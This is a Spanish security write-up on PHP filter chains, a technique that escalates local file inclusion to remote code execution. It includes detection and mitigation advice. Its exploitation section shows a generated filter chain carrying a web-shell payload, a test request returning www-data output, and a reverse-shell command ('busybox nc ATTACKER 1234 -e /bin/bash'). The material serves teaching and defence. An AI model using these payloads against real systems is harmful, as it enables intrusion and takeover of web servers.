1. Descripción técnica del ataque
Los PHP filter chains son una técnica que convierte una inclusión de archivos local (LFI) —o cualquier punto donde se controle el resource de un php://filter— en ejecución remota de código (RCE), sin necesidad de subir ningún archivo al servidor.
PHP permite encadenar filtros de conversión sobre un stream mediante el wrapper php://filter. Filtros como convert.iconv.* transforman bytes entre codificaciones. El investigador Gabriel "hash_kitten" descubrió que, encadenando cuidadosamente conversiones iconv, se puede construir byte a byte una cadena arbitraria al inicio del contenido devuelto.
Aprovechando esto, se genera una cadena de filtros que produce un payload PHP (p. ej. <?= `$_GET[cmd]` ?>) en memoria, que luego es interpretado por la función vulnerable (include, require, etc.). El resultado es ejecución de código PHP arbitrario partiendo únicamente de un LFI.
La herramienta php_filter_chain_generator (de Synacktiv) automatiza la construcción de la cadena.
2. Impacto de la vulnerabilidad
- Convierte un LFI en RCE sin requerir log poisoning, wrappers de subida ni
allow_url_include. - Ejecución de comandos con los privilegios del proceso web (típicamente
www-data). - Funciona incluso cuando no hay forma de escribir archivos en el servidor, ampliando enormemente el impacto de un LFI.
3. Historia y evolución
- La técnica fue publicada por Gabriel Valuet (hash_kitten) en 2022 ("PHP filter chains: file read from error-based oracle" y su evolución a RCE).
- Synacktiv liberó el generador
php_filter_chain_generator.py, que la popularizó en CTFs y pentesting. - Ha cambiado la percepción del LFI: hoy un LFI sobre PHP se considera potencialmente RCE de forma casi directa.
4. Factores que la hacen posible
- Una vulnerabilidad de LFI (o un parámetro que llegue a
include/require) donde se pueda inyectar unphp://filter. - Que PHP tenga disponibles los filtros
convert.iconv(presentes por defecto en la mayoría de instalaciones). - Que el contenido filtrado sea finalmente interpretado como PHP por la función vulnerable.
5. Detección
- Confirmar primero el LFI y la capacidad de usar wrappers
php://filter:
?lang=php://filter/read=convert.base64-encode/resource=index.phpSi devuelve el código fuente en base64, el wrapper de filtros funciona y la cadena RCE es viable.
6. Mitigación
- Eliminar la LFI de raíz: no incluir archivos basados en entrada del usuario; usar listas blancas (ver LFI (Local File Inclusion)).
- Bloquear los wrappers
php://en parámetros controlados por el usuario. - Endurecer
php.ini(allow_url_include = Off) y aplicar WAF, aunque la mitigación real es corregir la inclusión.
7. Ejemplo de explotación real
Generamos la cadena con la herramienta de Synacktiv y la inyectamos en el parámetro vulnerable, pasando el comando por cmd:
❯ ./php_filter_chain_generator.py --chain '<?=`$_GET[cmd]`?>'
[+] The following gadget chain will generate the following code : <?=`$_GET[cmd]`?> (base64 value: PD89YCRfR0VUW2NtZF1gPz4)
php://filter/convert.iconv...convert.base64-decode/resource=php://temphttp://target/index.php?lang=php://filter/convert.iconv...convert.base64-decode/resource=php://temp&cmd=id
...
uid=33(www-data) gid=33(www-data) groups=33(www-data)Desde ahí se lanza una reverse shell (&cmd=busybox nc ATTACKER 1234 -e /bin/bash).
8. Clasificación
- Tipo: File Inclusion → Code Injection / Remote Code Execution
- CWE:
- CWE-98 – Improper Control of Filename for Include/Require
- CWE-94 – Improper Control of Generation of Code (Code Injection)
9. Resumen
Los PHP filter chains transforman un LFI en RCE encadenando filtros convert.iconv para fabricar un payload PHP que la función de inclusión acaba ejecutando, sin subir archivos. Se automatiza con php_filter_chain_generator. La defensa real es eliminar la LFI subyacente y bloquear los wrappers php://.